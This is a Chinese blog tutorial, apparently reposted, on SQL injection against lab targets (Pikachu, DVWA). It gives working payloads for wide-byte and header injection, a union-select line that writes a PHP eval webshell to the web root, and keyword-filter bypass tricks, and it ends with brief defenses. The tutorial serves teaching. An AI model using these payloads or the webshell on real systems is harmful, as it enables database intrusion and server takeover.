【网络安全的神秘世界】SQL注入(下)

在这里插入图片描述

🌝博客主页:泥菩萨

💖专栏:Linux探索之旅 | 网络安全的神秘世界 | 专接本 | 每天学会一个渗透测试工具

3.7 二次注入

不好挖这个漏洞,需要搞懂业务逻辑关系

二次注入通常是指在存入数据库时做了过滤,但是取出来的时候没有做过滤,而产生的数据库注入

1️⃣插入恶意数据

在第一次向数据库插入数据库时,网站本身使用addslashes()对其中的特殊字符进行转义,但是addslashes()有一个特点就是虽然参数在过滤后会添加“\"进行转义,但是”\"并不会插入到数据库中,在写入数据库的时候还是保留了原来的数据

在MySQL中,\属于转义字符,当我们insert插入\字符时,\在数据库中最终只会存储为空值“ ”

在这里插入图片描述

2️⃣引用恶意数据

在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次需要进行查询的时候,直接从数据库中取出了了脏数据,没有进一步的校验和处理,这样就会造成SQL的二次注入

在这里插入图片描述

3.8 宽字节注入

安装pikachu环境

docker pull area39/pikachu
docker run -d -p 8000:80 area39/pikachu

借助 Docker 轻松搭建 Pikachu 靶场教程

宽字节概念

  • 如果一个字符的大小是一个字节的,称为窄字节;

  • 如果一个字符的大小是两个及以上字节的,称为宽字节;

  • 像GB2312、GBK、GB18030、BIG5、Shift_jis等编码都是常见的宽字节字符集

  • 英文默认占一个字节,中文占两个字节

宽字节注入原理

宽字节注入利用MySQL的一个特性:使用GBK编码的时候,会认为两个字符是一个汉字

进入pikachu靶场的后端查看mysql数据库中使用的什么编码

docker exec -it pikachu_id bash

在这里插入图片描述

show variables like '%character%'

在这里插入图片描述

发现数据库用的latin1编码方式,但是上面说了用gbk编码才有宽字节注入场景

而pikachu靶场又存在宽字节注入,那是因为网站代码手动设置了mysql编码为gbk

在这里插入图片描述


判断输入点是字符型,构造字符型注入语句

在这里插入图片描述

发现注入失败,但是去数据库里能查出来,这说明网站做了过滤

在这里插入图片描述

为了防止网站被SQL注入,网站开发人员会做一些防护措施,其中最常见的就是对一些特殊字符进行转义

通过前面的学习可以了解到,SQL注入非常关键的一步就是让引号闭合和跳出引号,无法跳出引号,那么输入的内容就永远在引号里,即永远是字符串,无法实现SOL注入

网站开发者也想到了这一步,于是做个防护措施:转义,对输入的敏感内容、特殊字符进行转义

addslashes()函数

  • addslashes() 会在预定义字符之前添加反斜线 \进行转义
  • 预定义字符:单引号',双引号",反斜线\,NULL

【转义】:预定义字符在加上反斜线之后,就已经不具备其原有的语法功能了,就仅仅是一个普通的字符串了

绕过addslashes()函数

通过前面的SQL注入实验可以发现,字符型的注入点我们都是用单引号来判断的,但是当遇到 addslashes() 函数时,单引号会被转义,导致我们用来判断注入点的单引号失效。所以我们的目的就是使转义符\ 失效、使单引号逃逸

✨绕过原理:

# 前端输入
kobe%df' or 1=1# # 后端通过addslashes()添加转义字符\,编码后变成%5C
kobe%df\' or 1=1# 
kobe%df%5c%27 or 1=1# # 因为数据库使用gbk编码(2个字节会被编码为1个汉字),那么%df%5c= 運
kobe運' or 1=1#

✨绕过步骤:

1️⃣输入 kobe%df' and 1=1# 后发现还是失败

在这里插入图片描述

抓包发现那是因为网站前端对%做了url编码变成%25

在这里插入图片描述

2️⃣抓包直接在bp中修改,就不会经过url编码了

在这里插入图片描述

掌握这个原理后,%df也可以替换成其他2位16进制数;不同的编码方式有不同的绕过方法

3.9 http header和cookie注入

HTTP头注入其实并不是一个新的SQL注入类型,而是指出现SQL注入漏洞的不同场景下该怎么使用

当攻击者能够控制这些 HTTP 头部字段的值,并且应用程序没有正确地转义或过滤这些输入时,他们可能会插入恶意的 SQL 代码片段,从而可能导致数据泄露、数据篡改、甚至完全控制数据库

进入pikachu的http header来进行一下测试:

抓包将它发送到【Repeater】模块,将User-Agent的值删掉,自己构造一个单引号:

在这里插入图片描述

出现了语法错误,意味着输入的内容会到数据库中进行查询,接下来的步骤就很简单了,跟前面的报错注入是一样的

'or updatexml(1,concat(0x7e,database()),0) or'

cookie注入就是把注入语句通过抓包放进cookie里面,跟上面的步骤一样,这里不再赘述了

四、从MySQL注入到GetShell

mysql支持向外写文件(这里的“外”是指服务器内部,除mysql),需要用到select into outfile命令

select into outfile的作用:将被选择的一行代码写入一个文件中,文件被创建到服务器上

select into outfile的使用前提是:

  • 要知道网站的绝对路径,可以通过开源程序、报错信息、phpinfo界面、404界面等方式知道
  • 对目录要有写权限,一般image之类的存放图片的目录有写权限
  • 要有mysql file权限(即能够对系统的文件读写操作),默认情况下只有root权限有

还要注意:写的文件名一定是在网站中不存在的,不然会失败

我们使用into outfile写入一句话木马,文件名为shell2.php:

1' union select 1,"<?php eval($_POST['a']);?>" into outfile ' /var/www/html/shell2.php
  • eval():允许执行任何传递给它的 PHP 代码字符串
  • $_POST[‘a’]:a是攻击者定义的关键字,用来接收攻击者输入的内容
  • /var/www/html:网站的根目录,底层是Linux系统的话,文件通常放在这

1️⃣在DVWA Low等级的SQL Injection中输入

在这里插入图片描述

2️⃣访问http://ip:port/shell2.php,打开hackerbar插件,勾选Post data,给a传递参数后点击【Execute】执行

在这里插入图片描述

pwd属于操作系统命令,不能直接传递给php,要按照规定的格式写

在这里插入图片描述

使用get方法,直接在url构造

1' union select 1,"<?php eval($_GET['a']);?>" into outfile ' /var/www/html/shell2.php

在这里插入图片描述

在这里插入图片描述

3️⃣打开蚁剑,密码为a(蚁剑出于安全考虑,只能连接post方法)

在这里插入图片描述

五、SQL注入绕过

5.1 大小写绕过

适用于设置了黑名单的情况下,可以任意的把某些字改为大小写

举例:seLeCT、SelEcT

5.2 替换关键字

大小写转换无法绕过,而且正则表达式会替换或删除select、union等关键字可以尝试双写:

举例:SELselectECT、SeLSeselectleCTect

5.3 使用编码

在浏览器输入一个链接,浏览器会对特殊字符进行url编码,可以通过编码的方式进行绕过

空格%20、单引号%27、左括号%28、右括号%29

1️⃣url编码

1%2527id=1%252f%252a*/UNION%252f%252a%252a/SELECT

2️⃣16进制编码

mysql>select * from users where user_id=1 and (extractvalue(1,concat(0x7e,(select password from users where first_name=0x61646d696e),0x7e)));

5.4 使用注释

比如输入select 1被网站拦截,可以尝试select/**/1进行注释绕过

1️⃣普通注释

看一下常见的用于注释的符号有哪些:

-- ,/**/,#,-- -,

2️⃣内联注释

不具备注释语义的注释符:仍然能执行出结果

相比普通注释,内联注释使用的更多,它有一个特性/* ! */只有MySQL能识别

/*!SELECT*/1/*!union*//*!all*//*!select*/2;

5.5 等价函数与命令替换

1、函数

bin()	#二进制
hex()   #十六进制
bin()、hex() ==> ascii()sleep() ==> benchmark()
benchmark(count,expr)
benchmark会重复计算expr表达式count次,通过这种方式就可以评估出mysql执行这个expr表达式的效率concat_ws() ==> concat()
concat_wa("分隔符",字段1,字段2....)  #多个列的字段合并并添加分隔符mid()、substr() ==> substring() #字符串的截取strcmp(str1,str2) 
#比较两个字符串,如果两个字符串相等就返回0,如果第二个字符小于第一个字符就返回1,反之返回-1
strcmp(left('password',1),0x70) = 0
strcmp(left('password',1),0x69) = 1
strcmp(left('password',1),0x71) = -1

2、符号

当and和or不能用时,可以用&& 和 || 替换

=不能使用时,可以考虑<、>

空格,可以使用如下符号表示:%20 %09 % 0a %0b %0c %0d %a0 /**/

5.6 特殊符号

1、反引号`(tab键上方):可以过滤空格和正则,特殊情况下还可以当注释

select id from`users`;

2、-+:过滤空格和关键字

select+user_id-1+1.from users;

3、@符号:@表示用户定义,@@表示系统变量

select@^1,from users;

4、部分可能发挥作用的符号:`、~、!、@、%、()、[]、.、-、+、|、%00

六、SQL注入防御

--------------sql注入的危害这么大,为什么不对数据库进行修改?

mysql的作用只是存储和查询数据,而注入是代码层面出现的问题,所以不需要对数据库进行修复

6.1 预编译和绑定变量

预编译:提前构造好语句,只能提交指定类型的值

String sql="select id,num from user where id=?"  //定义sql语句PreparedStatement ps=conn.prepareStatemnt(sql)ps.setInt(1,id);  //设置变量ps.executeQuery();  //执行

那么后面输入的内容只会被当作字符串来执行,关键字不能发挥语义

6.2 严格检查参数的数据类型,使用安全函数

并不是所有场景都能采用sql语句预编译,也可以对输入的内容进行严格检测,根据业务特征做好过滤

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/1472593.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

创建react的脚手架

Create React App 中文文档 (bootcss.com) 网址&#xff1a;creat-react-app.bootcss.com 主流的脚手架&#xff1a;creat-react-app 创建脚手架的方法&#xff1a; 方法一&#xff08;JS默认&#xff09;&#xff1a; 1. npx create-react-app my-app 2. cd my-app 3. …

视频提取字幕怎么弄?5个快速获取视频字幕的方法

在忙碌而又充满活力的生活中&#xff0c;我们常常在通勤路上和午休间隙通过视频来获取信息和放松心情。 但有时候&#xff0c;我们想把视频里那些令人难忘的瞬间或关键信息保存下来&#xff0c;方便以后回顾或者分享。然而&#xff0c;手动摘录不仅费时&#xff0c;还容易漏掉…

Python爬取豆瓣电影+数据可视化,爬虫教程!

1. 爬取数据 1.1 导入以下模块 import os import re import time import requests from bs4 import BeautifulSoup from fake_useragent import UserAgent from openpyxl import Workbook, load_workbook1.2 获取每页电影链接 def getonepagelist(url,headers):try:r reque…

[A-03] ARMv8/ARMv9-多级Cache架构

ver 0.1 前言 前面文章我介绍了Cache的基本架构、Cache的详细的结构&#xff0c;有了一定的cache的基础&#xff0c;对cache机制也有了sense。实际上Cache作为CPU架构中存储机制的核心组件和CPU的微架构以及系统的总线架构还是密切相关的&#xff0c;不同的体系下&#xff0c…

在AvaotaA1全志T527开发板上使用AvaotaOS 部署 LNMP 服务

准备工作 在这之前&#xff0c;确保设备已经联网&#xff0c;可以用 ifconfig 命令查看联网状态。这里使用的是 WIFI 联网&#xff0c;可以看到已经获取了IP地址。 由于安装需要较长时间&#xff0c;建议使用 screen 后台登录&#xff0c;这里看到系统默认已经安装了 screen …

昇思25天学习打卡营第12天|ResNet50迁移学习

昇思25天学习打卡营第12天|ResNet50迁移学习 前言ResNet50迁移学习数据准备下载数据集 加载数据集数据集可视化 训练模型构建Resnet50网络固定特征进行训练训练和评估可视化模型预测 个人任务打卡&#xff08;读者请忽略&#xff09;个人理解与总结 前言 非常感谢华为昇思大模型…

昇思MindSpore学习入门-回调机制

在深度学习训练过程中&#xff0c;为及时掌握网络模型的训练状态、实时观察网络模型各参数的变化情况和实现训练过程中用户自定义的一些操作&#xff0c;MindSpore提供了回调机制&#xff08;Callback&#xff09;来实现上述功能。 Callback回调机制一般用在网络模型训练过程M…

sublime如何运行Html文件?

背景&#xff1a; 在sublime上面写了html代码以后&#xff0c;怎么运行html文件来进行debug呢&#xff1f;如果去点击保存的HTML文件&#xff0c;每次这样就会很麻烦&#xff0c;能不能直接在sublime里面点什么就可以直接打开浏览器运行呢&#xff1f;答案是OK的。 1-确认Vie…

通过营销本地化解锁全球市场

在一个日益互联的世界里&#xff0c;企业必须接触到全球各地的不同受众。营销本地化是打开这些全球市场的关键。它包括调整营销材料&#xff0c;使其与不同地区的文化和语言细微差别产生共鸣。以下是有效的营销本地化如何推动您的全球扩张&#xff0c;并用实际例子来说明每一点…

长难句打卡6.27

After about 40 minutes of shopping, most people stop struggling to be rationally selective, and instead begin shopping emotionally—which is the point at which we accumulate the 50 percent of stuff in our cart that we never intended buying. 购物约40分钟后&…

【C++】 解决 C++ 语言报错:Invalid Use of Incomplete Type

文章目录 引言 在 C 编程中&#xff0c;“Invalid Use of Incomplete Type” 是一种常见错误。此错误通常在程序试图使用未完全定义的类或结构时发生。这种错误不仅会导致编译失败&#xff0c;还可能导致程序行为不可预测。本文将详细探讨无效使用不完整类型的成因、检测方法及…

半导体切割研磨废水的处理技术

半导体切割研磨废水处理是一个复杂而关键的过程&#xff0c;其废水主要来源于切割、研磨等工艺环节&#xff0c;这些过程中使用的化学品、冷却水、洗涤水等会产生含有重金属、有机物、酸碱度不稳定以及高浓度硅化合物等污染物的废水。针对这些废水的特性&#xff0c;半导体行业…

UG NX二次开发(C#)-根据草图创建拉伸特征(UFun+NXOpen)

文章目录 1、前言2、在UG NX中创建草图,然后创建拉伸特征3、基于UFun函数的实现4、基于NXOpen的实现代码1、前言 UG NX是基于特征的三维建模软件,其中拉伸特征是一个很重要的特征,有读者问如何根据草图创建拉伸特征,我在这篇博客中讲述一下草图创建拉伸特征的UG NX二次开发…

“免费”的可视化大屏案例分享-智慧园区综合管理平台

一.智慧园区是什么&#xff1f; 智慧园区是一种融合了新一代信息与通信技术的先进园区发展理念。它通过迅捷信息采集、高速信息传输、高度集中计算、智能事务处理和无所不在的服务提供能力&#xff0c;实现了园区内及时、互动、整合的信息感知、传递和处理。这样的园区旨在提高…

vue2+ant(上传+下载)

下载&#xff08;导出&#xff09; 第一步——封装的axios 导出必须加responseType: blob 它是一个常用于 XMLHttpRequest 或 fetch API 的选项&#xff0c;它指定了响应的类型。当设置为 ‘blob’ 时&#xff0c;这意味着预期服务器返回的是一个二进制大对象&#xff08;Blob…

多模态融合算法应用:CT + 临床文本数据 + pyradiomics提取到的图像特征

多模态融合算法应用 CT 临床文本数据 pyradiomics提取图像特征 单模态建模临床数据建模pyradiomics提取图像特征建模CT建模 多模态建模前融合为什么能直接合并在一起&#xff1f; 后融合Med-CLIP&#xff1a;深度学习 可解释性 单模态建模 临床数据建模 临床文本数据&…

【讨论C++多态】

讨论C多态 多态概念定义及实现 虚函数虚函数重写 final和override重载、重写和重定义抽象类纯虚函数接口继承和实现继承 多态的原理虚函数表打印单继承虚函数表动态绑定和静态绑定多继承虚函数表 多态 概念 多态即完成某个行为&#xff0c;不同对象会产生不同的状态。 定义及实…

基于Qt实现的PDF阅读、编辑工具

记录一下实现pdf工具功能 语言&#xff1a;c、qt IDE&#xff1a;vs2017 环境&#xff1a;win10 一、功能演示&#xff1a; 二、功能介绍&#xff1a; 1.基于saribbon主体界面框架&#xff0c;该框架主要是为了实现类似word导航项 2.加载PDF放大缩小以及预览功能 3.pdf页面跳转…

【MySQL】事务实现原理

目录 事务 如何使用 ACID 原子性(Atomicity) 原子性实现原理 持久性(Durability) 持久性实现原理 隔离性 隔离级别 读未提交 读已提交 可重复读 串行化 隔离级别原理 锁 共享锁&独占锁 意向锁 索引记录锁 间隙锁 临键锁 插入意向锁 自增锁 MVCC 实现…

Node.js 核心知识点 - Koa 框架

一、Koa 基本概念 官网&#xff1a;Koa - next generation web framework for node.js 1、Koa 是什么&#xff1f; Koa 是一个基于 Node.js 的轻量级 web 框架&#xff0c;由 Express 团队创造。Koa 的设计理念是使用现代的 JavaScript 特性&#xff08;如 async/await&#x…